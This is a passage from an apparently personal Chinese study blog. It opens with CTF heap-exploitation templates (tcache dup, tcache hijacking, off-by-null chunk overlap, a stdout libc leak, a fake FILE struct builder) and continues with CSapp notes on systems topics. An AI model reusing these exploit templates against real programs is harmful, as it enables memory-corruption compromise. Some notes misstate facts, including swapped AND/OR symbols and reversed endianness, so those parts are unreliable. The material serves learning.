2
3
4
5
6
7
8
9
10
delete(index) # Tcache dup
edit(index,"\x00"*0x10)
delete(index)

payload="\x00"*0x48 + p64(0x0007000000000000) # cover count to '7'

edit(index,p64(heap_base + 0x10)) # tcache_perthread_struct->next
add(size)
add(size,payload) # malloc the tcache_perthread_struct
delete(index)
  • 注意:tcache->next 和常规的FD指针相似但不同,FD指向 nextchunk->presize ,而 next 指向 nextchunk->next
  • 利用 Tcache dup 申请到“tcache_perthread_struct”(第一个chunk)
  • 修改对应“tcache_perthread_struct->size”的“count”为“7”(偏移可以在GDB中看)
  • 释放“tcache_perthread_struct”使其进入“unsortedbin”

二,打 tcache_entry 劫持 tcachebin:

这个很灵活,不好用代码表示,这里我挂上几个堆风水:

1
2
add(0x38, p16(stdout))
add(0x58, p64(0xfdad2887 | 0x1000) + p64(0)*3 + b"\x00")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> x/20xg 0x558b1cfcd000
0x558b1cfcd000: 0x0000000000000000 0x0000000000000051 // add
0x558b1cfcd010: 0x0001000200000000 0x0000000000000001
0x558b1cfcd020: 0x0000000000000000 0x0000000000000000
0x558b1cfcd030: 0x0000000000000000 0x0000000000000000
0x558b1cfcd040: 0x0000000000000000 0x0000000000000000
0x558b1cfcd050: 0x0000000000000000 0x0000000000000051 // add
0x558b1cfcd060: 0x0000000558b1ce3c 0x0000558b1cfcd010 // delete
0x558b1cfcd070: 0x0000000000000000 0x0000000000000000
0x558b1cfcd080: 0x0000000000000000 0x0000000000000000
0x558b1cfcd090: 0x0000000000000000 0x0000000000000000
0x558b1cfcd0a0: 0x0000558b1cfcd0b0 0x0000558b1cfcd060 // '0x40'的tcache
/* 伪造'0x40'的tcache(带有main_arena) */
0x558b1cfcd0b0: 0x00007fea097ddc00 0x00007fea097ddc00 // '0x60'的tcache
/* 这里曾经是unsortedbin,所以main_arena留下来了 */
1
2
3
4
tcachebins
0x40 [ 2]: 0x558b1cfcd0b0 ◂— 0x7fef51cc13cd
0x50 [ 1]: 0x558b1cfcd060 ◂— 0x1f1
0x60 [ 1]: 0x7fea097ddc00 (main_arena+96) ◂— 0x558ce25c44cd
  • 注意:因为 tcache 的性质,在对应“size的tcache”中写入地址,就会申请这个地址作为“tcache->next”(也就是说,数据会直接写入该地址)
  • 关键在于:使 '0x40' tcache 中装有 '0x50' tcache addr ,使其可以通过申请“0x30”来修改 '0x50' tcache 的地址(劫持大小为“0x50”的tcachebin)

Off-By-Null模板(基于read)

有些程序为了“打印模块”的安全性,会在read完成后加一个“\x00”,造成了off-by-null

例如:( (&list + index) + read(0, *(&list + index) , size) ) = 0

有Tcache:

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in range(0, 11):
add(i, 0xF8, "a"*0xF0+"b"*0x8)

for i in range(3, 10):
delete(i)

delete(0)
edit(1, 'a' * 0xF0 + p64(0x200))
delete(2)

add(0, 0x70, "\n")
add(0, 0x70, "\n")
show(1)

覆盖前:

1
2
3
0x55a67dfb3450:	0x6262626262626262	0x0000000000000101 # chunk2(allocated)
0x55a67dfb3460: 0x6161616161616161 0x6161616161616161
0x55a67dfb3470: 0x6161616161616161 0x6161616161616161

覆盖后:

1
2
3
0x561f0e5bf450:	0x0000000000000200	0x0000000000000100 # chunk2(allocated)
0x561f0e5bf460: 0x6161616161616161 0x6161616161616161
0x561f0e5bf470: 0x6161616161616161 0x6161616161616161

导致程序误以为chunk0(free)是chunk2相邻的上一个chunk,在释放chunk2后,会导致chunk0,chunk1,chunk2,三者合并为free_chunk

两次申请“0x80”大小的chunk后,free_chunk刚好和chunk1_old重合,把“arena_main + xx”写入chunk1_old,这之后就可以利用“打印模块”进行泄露了

IO_2_1_stdout Leak 模板

基于 Double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def pwn():	
# lead target to chunk2
add(0x60) # chunk0
add(0x90) # chunk1
add(0x60) # chunk2
delete(1)
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
add(0x90,p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF)))

# Double free to leak libc_base
delete(0)
delete(2)
delete(0)
add(0x60,padding) # cover "chunk0->FD" to make chunk1 into fastbin
add(0x60) # can change
add(0x60)
add(0x60)
add(0x60,'a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00') # malloc the target
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-offset
  • 整个过程在循环中进行,有 1/16 的概率可以成功
  • 把 chunk1 放入 unsortedbin 然后覆盖 main_arena 为 target
  • 进行 Double free ,然后覆盖“chunk0->FD”,使其指向 chunk1
  • 申请 target 修改 _IO_2_1_stdout_ 的“flag”为“0xfbad1800”,将后面三个read指针置空,将 _IO_write_base 处的第一个字节改为“0”

这里一定是:先覆盖 main_arena ,后 Double free 把它链入 fastbin

FILE结构体模板

这个模板主要是个函数:

1
2
3
4
5
6
7
8
9
10
def FILE(_flags=0,_IO_read_ptr=0,_IO_read_end=0,_IO_read_base=0,_IO_write_base=0,_IO_write_ptr=0,_IO_write_end=0,_IO_buf_base=0,_IO_buf_end=1,_fileno=0,_chain=0):
fake_IO = flat([
_flags,
_IO_read_ptr, _IO_read_end, _IO_read_base,
_IO_write_base, _IO_write_ptr, _IO_write_end,
_IO_buf_base, _IO_buf_end])
fake_IO += flat([0,0,0,0,_chain,_fileno])
fake_IO += flat([0xFFFFFFFFFFFFFFFF,0,0,0xFFFFFFFFFFFFFFFF,0,0])
fake_IO += flat([0,0,0,0xFFFFFFFF,0,0])
return fake_IO

用它可以快速伪造 FILE 结构体

从CSapp中收获的知识

CSapp是一本很好的书,它像极了一本“技术字典”,知识十分全面但又不深入,对学习计算机有着引领性的作用

我学习CSapp已经有一段时间了,有些章节可以调起我的兴趣,使我在网络上进行了知识扩充,但有些章节用大段大段的文字来劝退我,甚至还有一些章节玩起了“高数”,搞得我很懵逼

CSapp上的知识太杂,太广,我感觉好多知识我都没法利用上(或许以后用得上),我害怕搞忘了这些知识,于是我也做过章节总结,但是我发现这样做的效率并不高,所以我打算不以章节为单位进行总结,而是把知识拆分为小块,逐一记录


栈帧

程序执行流程

文字版本如下:

编译器驱动程序

编译器驱动程序的工作:调用语言预处理器,编译器,汇编器,链接器

详细过程:

  • 预处理阶段:预处理器(cpp)根据以字符 “#” 开头的命令,修改原始的 C 程序(比如 hello.c 中第 1 行的#include命令告诉预处理器读取系统头文件 stdio.h 的内容)并把它直接插入程序文本中,结果就得到了另一个 C 程序
    • 通常是以 .i 作为文件扩展名
    • 所谓的头文件,里面装的其实就是函数声明(libc库中的函数:scanf,printf 等)
  • 编译阶段:编译器(ccl)将文本文件 hello.i 翻译成文本文件 hello.s,它包含一个汇编语言程序
    • .s 文件其实就是装有汇编语言的文件
  • 汇编阶段:汇编器(as)将 hello.s 翻译成机器语言指令,把这些指令打包成一种叫做可重定位目标程序(relocatable object program)的格式,并将结果保存在目标文件 hello.o 中
    • hello.o 文件是一个二进制文件,它包含的 17 个字节是函数 main 的指令编码
    • 如果我们在文本编辑器中打开 hello.o文件,将看到一堆乱码(二进制)
  • 链接阶段:链接器(ld)就负责处理合并各个 hello.o 文件,结果就得到 hello 文件,它是一个可执行目标文件(或者简称为可执行文件),可以被加载到内存中,由系统执行
    • 请注意,hello 程序调用了 printf 函数,它是每个 C 编译器都提供的标准 C 库中的一个函数
    • printf 函数存在于一个名为 printf.o 的单独的预编译好了的目标文件中,而这个文件必须以某种方式合并到我们的 hello.o 程序中
    • 通过修改 hello.o 可以影响最终文件 hello 的效果

抽象

抽象是从众多的事物中抽取出共同的、本质性的特征

指令集架构是对 实际处理器硬件 的抽象

文件是对 I/O设备 的抽象

虚拟内存是对 程序存储器 的抽象

虚拟机是对 整个计算机 的抽象

缓存

缓存(cache),原始意义是指访问速度比一般随机存取存储器(RAM)快的一种高速存储器,通常它不像系统主存那样使用 [DRAM]技术 ,而使用昂贵但较快速的 [SRAM]技术 ,缓存的设置是所有现代计算机系统发挥高性能的重要因素之一

缓存的工作原理是当CPU要读取一个数据时,首先从CPU缓存中查找,找到就立即读取并送给CPU处理,没有找到,就从速率相对较慢的内存中读取并送给CPU处理

缓存命中

但程序需要在第 n 层中查找数据时:它会首先在第 n-1 层中查找, 如果数据刚好就在第 n-1 层中,就直接使用第 n-1 层中的数据,称为缓存命中

从第 n-1 层中读取,要比从第 n 层中读取更快

缓存不命中

另一方面,如果程序没有在第 n-1 层中查找到数据,那么它便会在第 n 层中查找,称为缓存不命中,同时会把第 n 层的数据写入第 n-1

内存阶层

速度快的存储器往往容量小,容量大的储存器往往速度慢

所以综合存储器的优劣,内存阶层的机制出现了

核心思想为:上一层(更快更小)为下一层(更大更慢)的缓存

内存阶层是在电脑架构下储存系统阶层的排列顺序,每一层于下一层相比都拥有较高的速度和较低延迟性,以及较小的容量(也有少量例外)

类型 位于哪里 存储容量 访问时间
CPU寄存器 位于CPU执行单元中 CPU寄存器通常只有几个到几十个,每个寄存器的容量取决于CPU的字长,所以一共只有几十到几百字节 寄存器是访问速度最快的存储器,典型的访问时间是几纳秒
Cache 和MMU一样位于CPU核中 Cache通常分为几级,最典型的是如上图所示的两级Cache,一级Cache更靠近CPU执行单元,二级Cache更靠近物理内存,通常一级Cache有几十到几百KB,二级Cache有几百KB到几MB 典型的访问时间是几十纳秒
内存 位于CPU外的芯片,与CPU通过地址和数据总线相连 典型的存储容量是几百MB到几GB 典型的访问时间是几百纳秒
硬盘 位于设备总线上,并不直接和CPU相连,CPU通过设备总线的控制器访问硬盘 典型的存储容量是几百GB 典型的访问时间是几毫秒,是寄存器的“10的6次方”倍

管理单元

计算机常用“扇区”,“簇”,“块”,“页”等概念,这些都是管理单元

扇区:(Sector)

扇区,顾名思义,每个磁盘有多条同心圆似的磁道,磁道被分割成多个部分,每部分的弧长加上到圆心的两个半径,恰好形成一个扇形,所以叫做扇区

扇区是磁盘中最小的物理存储单位(每个扇区的大小是512字节,通常4096字节)

块:(Block)

块是操作系统中最小的逻辑存储单元(例如内存块的基本组成单元:chunk)

簇:

簇是微软操作系统(DOS、WINDOWS等)中磁盘文件存储管理的最小单位

块和簇的关系:

在Windows下如NTFS等文件系统中叫做簇

在Linux下如Ext4等文件系统中叫做块

每个簇或者块可以包括2、4、8、16、32、64… “2的n次方” 个扇区

页:(page)

页是内存的最小存储单位,页的大小通常为磁盘块大小的 “2的n次方” 倍,是内存操作的基本单位

操作系统

操作系统有两目的:

1.防止硬件被失控的应用滥用

2.向应用程序提供简单一致的机制来控制复杂的低级硬件

操作系统通过几个基本的抽象概念来实现这两个功能:

1.文件是对 I/O设备 的抽象

2.虚拟内存是对 程序存储器 的抽象

3.进程是对 处理器,内存,I/O设备 的抽象

程序计数器(PC)

程序计数器(PC)是CPU控制部件中的一种,用于存放指令的地址

程序计数器是一个概念上的说法,不同的机型把不同的存储器当成程序计数器

  • 8086:IP寄存器
  • i386:EIP寄存器
  • amd64:RIP寄存器

上下文切换

内核可以决定抢占当前进程,并重新开始一个被抢占的进程,这种决策叫做调度,是由内核中被称为“调度器”的代码处理的

上下文切换机制用于:保存“被调度进程”的数据

进程

当程序在系统上运行时,操作系统会提供一种 假象 ,就好像系统上只有这个程序在运行一样,程序看上去是在 独占 处理器(该程序是系统资源中唯一的对象)

这些 假象 是通过 进程 这个概念来实现的

​ //在系统中,各种程序交替执行,而 进程 把不同功能的程序 区分 开来

在单处理器系统中:

程序想要“并发处理多个进程”时,必须要先保存当前进程的 上下文 ,然后创建新进程的 上下文

比如“hello”执行的过程就涉及到两个进程:1.shell 2.hello

系统中的每个程序都运行在某个进程的上下文中,上下文就是程序正确运行所需要的状态(包括:存放在内存中的代码和数据,栈和通用寄存器中的内容,程序计数器,环境变量,打开文件描述符的集合)

进程将会提供给应用程序两个关键的抽象:

  • 逻辑控制流
  • 私有地址空间

逻辑控制流

实际上:系统中的进程是交错运行的,每个进程执行它流的一部分,然后被抢占(暂时挂起),接着轮到其他进程

进程提供的假象:好像每个程序都在单独地使用处理器

这种假象就是:逻辑控制流,它仿佛可以控制程序的逻辑行为,一步一步的流向,可以使用流程图来表现这种行为的流动,方便了调试人员对程序执行流程的把控

并发流

系统中的逻辑流有多种不同的形式:异常处理,进程,信号处理,线程,java进程……

并发流:在时间上,一个逻辑流和另一个逻辑流冲突,这两个流并发运行

并发:多条流在同时执行的一般现象

多任务(时间分片):多个进程流量执行的现象

私有地址空间

私有地址空间也是进程提供的假象,好像程序在单独地使用系统地址空间一样

​ // 私有地址空间是虚拟内存的子集

每个进程都会为所对应的程序提供一份“私有地址空间”,每个“私有地址空间”完全一致,并且只能被所对应的程序访问

进程控制

Unix提供了大量从C程序中操作进程的系统调用

僵死进程

当一个进程因为某种原因终止后,内核并不会马上把它清除,而是等待它的父进程把它回收

一个终止了但是还没有被回收的进程被称为僵死进程

如果一个进程的父进程终止了,内核会安排“init进程”成为它的“养父”(代替父进程回收子进程)

​ // “init进程”的PID为“1”,“调度进程”(系统进程)的PID为“0”

PID算法

PID,就是“比例(proportional)、积分(integral)、微分(derivative)”

PID控制应该算是应用非常广泛的控制算法,小到控制一个元件的温度,大到控制无人机的飞行姿态和飞行速度等等,都可以使用PID控制。这里我们从原理上来理解PID控制

线程

线程(英语:thread)是操作系统能够进行运算调度的最小单位

线程被包含在进程之中,是进程中的实际运作单位

​ // 多线程多进程 跟高效

虚拟内存

虚拟内存为每个进程提供了一个假象

就好像每个进程在单独占用内存空间一样,每个进程中看到的内存是一样的(虚拟地址空间)

即:该进程是系统资源中唯一的对象

物理内存是不连续的,但是操作系统完成了“使内存看起来是连续的”这样一份抽象,创造了 虚拟内存 ,并且为虚拟内存中的各个空间进行了编号

  • 虚拟内存用户空间每个进程各一份
  • 虚拟内存内核空间所有进程共享一份
  • 虚拟内存 mmap 段中的动态链接库仅在物理内存中装载一份

虚拟内存的作用

硬件只能识别“物理地址”,而“物理地址”是不连续的并且不方便显示,这就给调试程序带来了巨大的影响

所以操作系统抽象出了“虚拟内存”,把硬件中的数据映射到“虚拟内存”中,方便了调试

虚拟内存作为缓存工具

VM系统(虚拟程序系统)将虚拟内存分割成块,这些块被称为虚拟页

每个虚拟页的大小为“P = 2的p次方”字节,类似地,物理内存被分割为物理页,大小也为P字节(物理页也被称为“页帧”)

在任意时刻,虚拟页面的集合都分为3个不相交的子集:

  • 未分配的:VM系统还未分配的页,没有数据和它们相关,不占用磁盘空间
  • 缓存的:当前已缓存在物理内存中的已分配页
  • 未缓存的:当前未缓存在物理内存中的已分配页

Proc文件系统

Proc文件系统是一个伪文件系统,它只存在于内存中(不占用外存空间),允许“用户模式进程”访问“内核数据结构”的内容

Proc文件系统将许多“内核数据结构”的内容输出为一个用户程序可以读的“文本文件”

1
$ /proc/cpuinfo				# 输出CPU属性

Unix I/O

一个 Linux 文件就是一个 m 个字节的序列,所有的 I/O 设备(例如网络、磁盘和终端)都被模型化为文件,而所有的输入和输出都被当作对相应文件的读和写来执行

这种将设备优雅地映射为文件的方式,允许 Linux 内核引出一个简单、低级的应用接口,称为 Unix I/O,这使得所有的输入和输出都能以一种统一且一致的方式来执行:

  • 打开文件:一个应用程序通过要求内核打开相应的文件,来宣告它想要访问一个 I/O 设备,内核返回一个小的非负整数,叫做 描述符 ,它在后续对此文件的所有操作中标识这个文件,内核记录有关这个打开文件的所有信息,应用程序只需记住这个描述符
  • 改变当前的文件位置:对于 每个打开的文件 ,内核保持着一个 文件位置(符号为 k),初始为 0,这个文件位置是 从文件开头起始的字节偏移量(相当于“指向”内存中文件末尾的一个标记,也可以用来记录该文件在内存中的大小),应用程序能够通过执行 seek 操作,显式地设置文件的当前位置为 k
  • 读写文件:一个读操作就是 从文件复制 n > 0 个字节到内存(从当前文件位置 k 开始,然后将 k 增加到 k+n) ,假设给定一个大小为 m 字节的文件,当 k>=m 时(文件被完全读入内存)会触发一个称为 end-of-file(EOF)的条件,应用程序能检测到这个条件,在文件结尾处并没有明确的“EOF符号”,类似地,写操作就是 从内存复制 n > 0 个字节到一个文件)从当前文件位置 k 开始,然后更新 k)
  • 关闭文件:当应用完成了对文件的访问之后,它就通知内核关闭这个文件,作为响应,内核释放文件打开时创建的数据结构,并将这个描述符恢复到可用的描述符池中,无论一个进程因为何种原因终止时,内核都会关闭所有打开的文件并释放它们的内存资源

Linux shell 创建的每个进程开始时都有三个打开的文件:标准输入(描述符为 0)、标准输出(描述符为 1)和 标准错误(描述符为 2),头文件 定义了常量 STDIN_FILENO、STDOUT_FILENO 和 STDERR_FILENO,它们可用来代替显式的描述符值

文件

文件就是 字节序列

系统中所有的输入输出都是通过使用 Unix I/O系统函数 来实现的,文件向应用程序提供了一个 统一的视图 ,来看待系统中可能含有的各种形式的 I/O设备,在linux操作系统中有一个思想“一切皆文件”,即使是内存中的进程都可以被当成文件输出

每个 Linux 文件都有一个 类型(type)来表明它在系统中的角色:

  • 普通文件(regular file):包含任意数据,应用程序常常要区分 文本文件二进制文件 ,文本文件是只含有 ASCII 或 Unicode 字符的普通文件,二进制文件是所有其他的文件
    • 对内核而言,文本文件和二进制文件没有区别
    • Linux 文本文件包含了一个 文本行(text line)序列,其中每一行都是一个字符序列,以一个新行符(“\n”)结束
    • 新行符与 ASCII 的换行符(LF)是一样的,其数字值为 0x0a
  • 目录(directory):是包含一组 链接 的文件,其中每个链接都将一个 文件名 映射到一个文件,这个文件可能是另一个目录
    • 每个目录至少含有两个条目:是到该目录自身的链接,以及是到目录层次结构中 父目录 的链接
    • 你可以用 mkdir 命令创建一个目录,用 Is 查看其内容,用 rmdir 删除该目录
  • 套接字(socket):是用来与另一个进程进行跨网络通信的文件

其他文件类型包含 命名通道 (named pipe)、 符号链接 (symbolic link),以及 字符和块设备 (character and block device)

RIO-健壮地读写

我们会讲述一个 I/O 包,称为 RIO(Robust I/O,健壮的 I/O)包,它会自动为你处理上文中所述的不足值,在像网络程序这样容易出现不足值的应用中,RIO 包提供了方便、健壮和高效的 I/O

RIO 提供了两类不同的函数:

  • 无缓冲的输入输出函数:这些函数直接在内存和文件之间传送数据,没有应用级缓冲,它们对将二进制数据读写到网络和从网络读写二进制数据尤其有用
  • 带缓冲的输入函数:这些函数允许你高效地从文件中读取文本行和二进制数据,这些文件的内容缓存在应用级缓冲区内,类似于为 printf 这样的标准 I/O 函数提供的缓冲区
    • 与【110】中讲述的带缓冲的 I/O 例程不同,带缓冲的 RIO 输入函数是线程安全的,它在同一个描述符上可以被交错地调用
    • 例如,你可以从一个描述符中读一些文本行,然后读取一些二进制数据,接着再多读取一些文本行

共享文件

可以用许多不同的方式来共享 Linux 文件,内核用三个相关的数据结构来表示打开的文件:

  • 描述符表(descriptor table):每个进程都有它独立的描述符表,它的表项是由进程打开的文件描述符来索引的。每个打开的描述符表项指向文件表中的一个表项
  • 文件表(file table):打开文件的集合是由一张文件表来表示的,所有的进程共享这张表,每个文件表的表项组成:
    • 包括当前的 文件位置引用计数(reference count)(即当前指向该表项的描述符表项数),以及一个 指向 v-node 表 中对应表项的指针
    • 关闭一个描述符会减少相应的文件表表项中的引用计数
    • 内核不会删除这个文件表表项,直到它的引用计数为零
  • v-node 表(v-node table):同文件表一样,所有的进程共享这张 v-node 表,每个表项包含 stat 结构中的大多数信息,包括 st_mode 和 st_size 成员

网络

系统并不是由 孤立的 硬件和软件组成的结合体,而是可以通过 网络 相互通信

对于一个单独的系统而言,网络可以认为是一个I/O设备(输入或输出数据到本机)

并发和并行

计算机的发展始终围绕两个目的:1.更多 2.更快

并发:指一个同时具有多活动的系统

并行:指使用 并发 来使一个系统运行得更快

并行可以在计算机系统的多个 抽象层次 中运用,其中最主要的有3个:

1.线程级并发

构建在进程这个抽象之上,我们可以设计出有多个 “程序执行工具” 的系统,这导致了 并行

这个“程序执行工具”就是线程,使用线程,我们甚至可以在一个进程中执行多个 控制流

2.指令级并行

构建在较低的抽象层次上,使处理器可以同时执行多条指令

3.单指令,多数据并行

构建在较最的抽象层次上,允许一条指令可以产生多个“并行执行”的操作

​ //即SIMD并行

指令集架构

指令集架构(InstructionSetArchitecture)

描述:指的是CPU机器码所使用的指令的集合以及其背后的寄存器体系、总线设计等逻辑框架 ,也是规定的一系列CPU与其他硬件电路相配合的指令系统

作用:定义 机器级程序 的格式和行为,它定义了 处理器状态指令的格式 ,以及 每条指令的影响

行为:每条指令顺序执行,一条指令完成后,另一条指令开始

​ //不同进程中的指令会被CPU并发处理,但是就一个进程而言,它的指令是“顺序执行”

字节序

大端序:符合人类的认知(低地址存低位,高地址存高位)

小端序:利用机器的运算(低地址存高位,高地址存低位)

为了方便阅读程序,我们通常把低地址写在上面,把高地址写在下面

​ // 这样小端序就“符合人类的认知”

不同的系统采用不同的字节序

1
2
3
4
5
6
7
8
9
void test_show_bytes(int val)
{
int ival = val;
float fval = (float) ival;
int *pval = &ival;
show_int(ival);
show_fload(fval);
show_pointer(pval);
}

布尔代数

将逻辑值True和False用二进制值“1”和“0”表示,设计出了一种代数

基础逻辑运算:“ ~ ”(非),“ & ”(或),“ | ”(与),“ ^ ”(异或)

过程

过程是软件中一种很重要的抽象,它提供了一种 封装 代码的方式,用一组 指定的参数 和一个 可选择的返回值 实现了某种功能,而程序可以在任何一个位置引用这种功能

设计良好的软件用 过程 作为抽象机制,隐藏某个行为的具体表现,同时又提供清晰简洁的 接口定义 ,说明需要计算的是哪些值,过程会对程序状态产生什么影响

过程在不同的编译语言中有不同的名称:函数(Function),方法(method),子例程,处理函数

嵌套数组&变长数组

嵌套数组:(多维数组)

1
2
3
4
int A[5][3]
------------------------
typedef int row3_[3];
row3_t A[5];

两者是等价的

变长数组:

变长数组既数组大小待定的数组, C语言中结构体的最后一个元素可以是大小未知的数组,也就是所谓的0长度,所以我们可以用结构体来创建变长数组

1
2
3
4
typedef struct {
int len;
int array[];
}SoftArray;

异质的数据结构

c语言提供了两种不同类型的对象组合到一起创建数据类型的机制:

1.结构(structure) 2.联合(union)

structure可以将多个对象集合到一个单位中

union可以用几种不同的类型来引用一个对象

缓存区保护

1.栈随机化

使栈在每一次加载时都会发生变化

对抗:空操作雪橇,在shellcode前面插入相等长度的“nop”,只要有一个地址命中“nop”就行

​ //汇编指令“nop”让IP指针+1,没有其他作用

2.栈破坏机制

Canary(金丝雀)是系统生成的一个随机数,如果它被破坏,系统就会强行终止程序

3.限制可执行权限

伪指令

以“ . ”开头的指令就是 伪指令 ,它们告诉汇编器调整地址,以便在那里产生代码或插入一些数据

例如:伪指令“.pos 0”告诉汇编器应该从地址“0”开始产生代码

控制语言(HCL)

大多数现代的电路技术都是用信号线上的高低电压来表示不同的值

​ //逻辑1用1.0伏特的高电压,逻辑0用0.0伏特的低电压

为了方便编程,硬件描述语言HDL(Hardware Description Language)诞生了

HDL是一种文本表示,和编程语言类似,但是它是用来描述 硬件结构 而不是 程序行为

HCL语言只表达硬件设计的控制逻辑部分,只有有限的操作集合(控制逻辑是处理器中最困难的)

逻辑门

逻辑门是数字电路的基本计算单元,它们的产生和输出,等于它们输入位数的某个布尔函数

组合电路

将很多的逻辑门组合成一个网,就可以构建出一个计算块(computational block),称为组合电路

优化编译器的能力

这两个函数有相同的功能,但CPU读写效率却有不同:

第一个函数需要:2次读 xp,2次读 yp,2次写 *xp

第二个函数需要:1次读 xp,1次读 yp,1次写 *xp

程序性能的表示

我们引入度量标准:每元素的周期数(Cycles Per Element),作为一种表示程序性能并指引我们改进代码的方法

处理器活动的顺序是由时钟控制的,时钟提供了某个频率的规律信号,通常用千兆赫兹,十亿周期每秒来表示

例如:一个系统有“4GHz”处理器,表示这个系统的处理器时钟运行频率为4 * 10的9次方 /每秒

存储器系统

存储器系统是一个具有不同容量,成本,访问时间的存储设备层次结构

靠近CPU的,小的,快速的,称为高速缓存存储器

这个思想围绕着计算机程序的一种称为 局部性 的基本属性,具有良好局部性的程序倾向于一次又一次地访问相同的 数据项集合 ,或是倾向访问邻近的 数据项集合 ,并且更多的倾向于从存储器层次结构中较高层次处访问 数据项集合 ,这些操作都可以使程序运行得更快

局部性

简述

原指处理器在访问某些数据时短时间内存在重复访问,某些数据或者位置访问的 概率极大 ,大多数时间只访问局部的数据(随着优化技术的提升,局部性的概念也得到了扩充)

其实就是概率的不均等,这个宇宙中,很多东西都不是平均分布的,平均分布是概率论中几何分布的一种特殊形式,非常简单,但世界就是没这么简单。我们更长听到的发布叫做高斯发布,同时也被称为正态分布,因为它就是正常状态下的概率发布,起概率图如下 :

时间局部性(Temporal locality):

如果某个信息这次被访问,那它有可能在不久的未来被多次访问

时间局部性是空间局部性访问地址一样时的一种特殊情况,这种情况下,可以把常用的数据加cache(缓存)来优化访存

空间局部性(Spatial locality):

如果某个位置的信息被访问,那和它相邻的信息也很有可能被访问到

这个也很好理解,我们大部分情况下代码都是顺序执行,数据也是顺序访问的

内存局部性(Memory locality):

访问内存时,大概率会访问连续的块,而不是单一的内存地址,其实就是 空间局部性在内存上 的体现

目前计算机设计中,都是以块/页为单位管理调度存储,其实就是在利用空间局部性来优化性能

分支局部性(Branch locality)

这个又被称为顺序局部性,计算机中大部分指令是顺序执行,即便有if这种选择分支,其实大多数情况下某个分支都是被大概率选中的

于是就有了CPU的分支预测优化,设计CPU优先选择 概率较大 的if分支

等距局部性(Equidistant locality)

等距局部性是指如果某个位置被访问,那和它 相邻等距离的连续地址 极有可能会被访问到,它位于空间局部性和分支局部性之间

举个例子,比如多个相同格式的数据数组,你只取其中每个数据的一部分字段,那么他们可能在内存中地址距离是等距的,这个可以通过简单的线性预测就预测是未来访问的位置

步长对局部性的影响

步长:连续序列号的差值

两个函数只是交互了循环的次序,但程序的性能却截然不同

第一个程序:步长为“4”(int类型) [ 4 - 0 ]

第二个程序:步长为“12”(int类型 * 3)[ 12 - 0 ]

第一个程序的性能远高于第二个程序(步长越长,性能越差)

存储技术

静态RAM(SRAM)

SRAM将每个存储在一个 双稳态 的存储器单元中(每个单元通常是用一个 6晶体管电路 来实现的)

这个电路有这样一个属性:它可以无限期地保持 “两个不同的电压配置” 中的一个

这个双稳态的存储器单元就像图中的钟摆一样,除了左右稳态以外的任何区域都是不稳定的

只要有电,它就会永远保持它的值,即使有外界干扰也会马上回复

动态RAM(DRAM)

DRAM将每个存储为一个 电容的充电(每个单元由一个 电容 和一个 访问晶体管 组成)

和SRAM有着较强的稳定性不同,DRAM对干扰非常敏感,电容电压被扰乱以后就不会恢复了

DRAM芯片被封装在内存模块中

内存模块 (Memory Module)是指一个 印刷电路板 表面上有镶嵌数个 记忆体芯片chips(碎片),而这 内存芯片 通常是 DRAM芯片

增强型DRAM

快页模式DRAM(FPM DRAM)

扩展数据DRAM(EDO DRAM)

同步DRAM(SDRAM)

双倍数据速率同步DRAM(DDR SDRAM)

视频RAM(VRAM)

只读存储器ROM(ROM是一种非易失性存储器)

如果计算机突然断电,DRAM和SRAM都会失去它们的数据,所以它们是易失的

在失去电源的情况下,数据也不会丢失的存储器就是非易失性存储器

最开始的ROM是真的“只读”的,但是随着技术的发展,ROM也慢慢“可读”了起来

可编程ROM(PROM)

PROM只能每编程一次(PROM的每个存储器单元都有一种熔丝(fuse),只能被高温熔断一次)

可擦写可编程ROM(EPROM)

EPROM有一个透明的石英窗口,允许光线到达存储单元,当紫外线射过窗口时,EPROM单元会被清除为“0”,对EPROM的编程需要通过特殊设备(把“1”写入EPROM),EPROM总共可以擦除重编程的次数为:10的3次方

电子可擦除PROM(EEPROM)

EEPROM和EPROM类似,只不过不用特殊设备就可以对它进行编程,可以直接在印制电路卡上进行编程,EEPROM总共可以被编程的次数为:10的5次方

闪存(flash memory)

闪存基于EEPROM,是一种重要的存储技术(U盘就是利用Flash实现的)

与前面的PROM,EPROM,EEPROM以 为单位不同,Flash以 为单位(128kb,256kb)

Flash的基本构成单位为浮栅场效应管(这是一个三端器件,分别为:源极,漏极,栅极)

磁盘

磁盘是用于大量存储数据的存储设备,存储数据的数量级可以达到几千千兆字节,但从磁盘上读取数据的时间为毫秒级,比DRAM慢了10万倍,比SRAM慢了100万倍

磁盘由多个重叠在一起的盘片组成,它们被封装在一个密封的包装中

内存结构

在内存调试时,经常需要用到rank、bank等参数,可以看到电脑的内存条中,有很多一片一片的芯片,这就是内存芯片,也是叫内存颗粒

内存的基本单元称为 cell ,cell按行( row )、列( column )分布组成一个 bank

一颗内存颗粒由多个 bank 组成,现在的内存颗粒一般是8个bank,每个bank对于内存来说是平等的关系,因为内存控制器的原因,每个时钟周期只能对一个bank进行操作

所有在内存容量关系中:颗粒 > bank > rowcolumn > cell

IO桥接器

数据通过总线进行流通,每次CPU和主存之间的数据传输都是通过一系列步骤完成的,这些步骤被称为总线事务

读事务:把数据从主存传输到CPU

写事务:把数据从CPU传输到主存

而现代计算机中IO是通过 共享一条总线 的方式来实现的,这就是 IO总线(I/O bus)

IO桥接器则是一组芯片组(其中包括内存控制器)

CPU芯片,IO桥接器,DRAM内存模块

系统总线(system bus)连接了CPU和IO桥接器

内存总线(memory bus)连接IO桥接器和主存

系统总线和内存总线都通过IO桥接器连接到IO总线上,这就实现了各个硬件之间的交互

在这个过程中:CPU上被称为总线接口的电路会在总线上发起“读事务”

​ //交换“A”和“%rax”位置,则会发起“写事务”

CPU会把A放到系统总线上,IO桥接器将信号传递到内存总线,传输到主存

接下来主存会识别内存总线上的地址信号,从内存总线中读取地址,从DRAM中取出数据字,并将数据写入内存总线通过IO桥又写入系统总线,传输到CPU

最后CPU会读取系统总线上的数据,赋值给寄存器rax

链接器

链接(linking)是将 各种代码数据片段 收集并组合成一个单一文件的过程

负责链接工作的程序被称为“链接器”

链接器的出现使我们不用将一个应用组织为一个庞大的文件,而是可以分割为更小的模块

静态链接

静态链接的链接器必须完成两个任务:符号解析,重定位

